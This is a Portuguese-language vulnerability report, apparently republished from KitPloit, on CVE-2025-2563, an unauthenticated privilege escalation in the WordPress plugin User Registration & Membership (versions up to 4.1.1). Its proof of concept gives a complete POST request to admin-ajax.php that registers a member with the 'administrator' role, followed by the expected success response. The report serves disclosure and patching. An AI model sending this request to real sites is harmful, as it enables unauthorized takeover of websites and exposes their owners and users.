CVE-2025-2563

User Registration & Membership <= 4.1.1 - Escalação de Privilégio Não Autenticada

Aviso de isenção de responsabilidade!

As informações apresentadas neste relatório de CVE (Common Vulnerabilities and Exposures) são apenas para fins educacionais e informativos. Os detalhes fornecidos baseiam-se em recursos publicamente disponíveis, pesquisas e análises conduzidas pelo autor. O conteúdo não tem a intenção de promover ou incentivar quaisquer atividades ilegais, incluindo hacking, exploração ou acesso não autorizado a sistemas.

O autor não assume qualquer responsabilidade pelo uso indevido das informações apresentadas. Recomenda-se que indivíduos e organizações apliquem esse conhecimento de forma responsável e em conformidade com as leis e regulamentações aplicáveis. Os leitores são fortemente aconselhados a testar vulnerabilidades apenas em ambientes controlados e com a devida autorização.

O autor e os colaboradores deste relatório não endossam nem apoiam atividades maliciosas e incentivam a divulgação responsável e práticas éticas de hacking.

---

Descrição

Uma vulnerabilidade de segurança crítica foi descoberta no plugin "User Registration & Membership" do WordPress, uma ferramenta popular para criar sites de associação e formulários de registro. A falha, identificada como CVE-2025-2563, possui uma pontuação CVSS de 9.8, indicando sua alta gravidade.

O plugin User Registration & Membership para WordPress é vulnerável a escalação de privilégio nas versões até, e incluindo, 4.1.1. Isso se deve a restrições insuficientes no tipo de função na função 'prepare_members_data()'. Isso possibilita que atacantes não autenticados criem novas contas de usuário com a função 'administrator', sob estas condições:

1. O plugin tem o add-on de associação ativado
2. O usuário registrado não precisa de confirmação

---

PoC (Prova de Conceito)

1. Registre-se pela página frontend em /registration ou /membership-registration
2. Após o registro, use estes dados de requisição.
   root@kitploit:~

   POST /wp-admin/admin-ajax.php HTTP/1.1
   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
   Accept: */*
   Host: hackthebox.test
   Accept-Encoding: gzip, deflate, br
   Connection: keep-alive
   Content-Type: multipart/form-data; boundary=--------------------------189123966817005614765335
   
   ----------------------------189123966817005614765335
   Content-Disposition: form-data; name="action"
   
   user_registration_membership_register_member
   ----------------------------189123966817005614765335
   Content-Disposition: form-data; name="security"
   
   THE_NONCE_HERE
   ----------------------------189123966817005614765335
   Content-Disposition: form-data; name="members_data"
   
   {"membership":"MEMBERSHIP_ID","payment_method":"free","start_date":"2025-3-29","username":"REGISTERED_USERNAME","role":"administrator"}
   ----------------------------189123966817005614765335--
   

3. A resposta deve ser assim
   root@kitploit:~

   {
       "success": true,
       "data": {
           "member_id": 24,
           "transaction_id": "",
           "message": "New member has been successfully created."
       }
   }  
   

4. Agora você pode fazer login na conta registrada com privilégio de administrador.

---

Referência

1. https://plugins.trac.wordpress.org/browser/user-registration/tags/4.1.2/modules/membership/includes/Admin/Services/MembersService.php?rev=3259656#L106
2. https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/user-registration/user-registration-membership-411-unauthenticated-privilege-escalation
3. https://securityonline.info/wordpress-plugin-cve-2025-2563-scores-9-8-threatens-thousands-of-membership-sites/

---

Obrigado

• https://saweria.co/ubaii
• https://buymeacoffee.com/ubaii
• https://trakteer.id/ubaii